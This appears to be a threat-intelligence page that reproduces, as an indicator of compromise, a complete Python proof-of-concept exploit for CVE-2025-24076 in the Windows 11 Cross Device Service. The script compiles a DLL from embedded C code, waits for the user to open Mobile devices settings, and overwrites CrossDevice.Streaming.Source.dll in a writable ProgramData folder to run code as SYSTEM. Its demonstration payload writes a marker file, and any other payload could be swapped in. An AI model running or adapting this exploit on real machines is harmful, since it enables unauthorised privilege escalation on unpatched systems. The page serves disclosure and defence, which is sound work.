Microsoft Windows 11 Version 24H2 Cross Device Service - Elevation of Privilege

AI Analysis

Indicators of Compromise

• exploit-code: #!/usr/bin/env python3 # Exploit Title: Microsoft Windows 11 Version 24H2 Cross Device Service - Elevation of Privilege # Author: Mohammed Idrees Banyamer # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # Date: 2025-06-06 # Tested on: Windows 11 Version 24H2 for x64-based Systems (10.0.26100.3476) # CVE: CVE-2025-24076 # # Affected Versions: # - Windows 11 Version 24H2 (x64 and ARM64) # - Windows 11 Version 23H2 (x64 and ARM64) # - Windows 11 Version 22H2 (x64 and ARM64) # - Windows Server 2025 # - Windows Server 2022 23H2 (Server Core installation) # # Type: Elevation of Privilege # Platform: Microsoft Windows # Author Country: Jordan # CVSS v3.1 Score: 7.3 (Important) # Weakness: CWE-284: Improper Access Control # Attack Vector: Local # Privileges Required: Low # User Interaction: Required # Scope: Unchanged # Confidentiality, Integrity, Availability Impact: High # Exploit Code Maturity: Unproven # Remediation Level: Official Fix # Description: # This vulnerability affects Microsoft Windows 11 (various versions including 24H2, 23H2, and 22H2) # and Windows Server 2025. It targets improper access control in the Windows Cross Device Service, # allowing a low-privileged local attacker to overwrite a critical DLL file (CrossDevice.Streaming.Source.dll) # in a writable directory. After triggering user interaction by opening Windows "Mobile devices" Settings, # the attacker can replace the DLL with a malicious version, leading to SYSTEM privilege escalation. # # Steps of exploitation: # 1. Verify the presence of the vulnerable DLL in the writable directory. # 2. Build a malicious DLL that executes code with SYSTEM privileges upon loading. # 3. Backup the original DLL to allow recovery. # 4. Trigger the DLL load by instructing the user to open the "Mobile devices" Settings page. # 5. Wait until the DLL is unlocked and replace it with the malicious DLL. # 6. Achieve SYSTEM privileges when the system loads the malicious DLL. # # This exploit requires low privileges and user interaction but has low attack complexity # and results in high impact due to full privilege escalation. # import os import shutil import time from pathlib import Path import subprocess # Target DLL name based on vulnerability research DLL_NAME = "CrossDevice.Streaming.Source.dll" TARGET_PATH = Path("C:/ProgramData/CrossDevice") MALICIOUS_DLL = Path("malicious.dll") BACKUP_ORIGINAL_DLL = Path("original_backup.dll") # C source code for malicious DLL MALICIOUS_C_CODE = r''' #include <windows.h> #include <stdio.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { FILE *file = fopen("C:\\poc_only_admin_can_write_to_c.txt", "w"); if (file) { fputs("Exploit succeeded! You have SYSTEM privileges.\n", file); fclose(file); } } return TRUE; } ''' def build_malicious_dll(): print("[*] Building malicious DLL from C source...") c_file = Path("malicious.c") # Write C source code to file with open(c_file, "w") as f: f.write(MALICIOUS_C_CODE) # Compile DLL using gcc (MinGW) compile_cmd = [ "gcc", "-shared", "-o", str(MALICIOUS_DLL), str(c_file), "-Wl,--subsystem,windows" ] try: subprocess.run(compile_cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) print(f"[+] Malicious DLL built successfully: {MALICIOUS_DLL}") # Clean up C source file c_file.unlink() return True except subprocess.CalledProcessError as e: print("[!] Failed to build malicious DLL.") print("gcc output:", e.stderr.decode()) return False def is_vulnerable(): if not TARGET_PATH.exists(): print("[!] Target directory not found.") return False dll_path = TARGET_PATH / DLL_NAME if not dll_path.exists(): print("[!] Target DLL not found.") return False print("[+] System appears vulnerable, DLL found in a writable path.") return True def backup_original(): dll_path = TARGET_PATH / DLL_NAME backup_path = TARGET_PATH / BACKUP_ORIGINAL_DLL shutil.copyfile(dll_path, backup_path) print(f"[+] Backup created at: {backup_path}") def replace_with_malicious(): dll_path = TARGET_PATH / DLL_NAME try: shutil.copyfile(MALICIOUS_DLL, dll_path) print("[+] Successfully replaced the DLL with malicious version.") return True except PermissionError: print("[!] Cannot write to DLL. Make sure the process using it is stopped.") return False def monitor_and_replace(): dll_path = TARGET_PATH / DLL_NAME print("[*] Monitoring DLL until it is unlocked...") while True: try: with open(dll_path, 'rb+') as f: print("[+] File is unlocked. Attempting replacement...") time.sleep(0.5) return replace_with_malicious() except PermissionError: time.sleep(0.5) def trigger_com(): print("[*] To trigger DLL load, please open Windows Settings -> Mobile devices") input("[*] After opening Settings, press Enter to continue...") def main(): if not build_malicious_dll(): return if not is_vulnerable(): return backup_original() trigger_com() success = monitor_and_replace() if success: print("[✓] Exploit completed successfully. Check results (e.g., C:\\poc_only_admin_can_write_to_c.txt).") else: print("[✗] Exploit failed.") if __name__ == "__main__": main()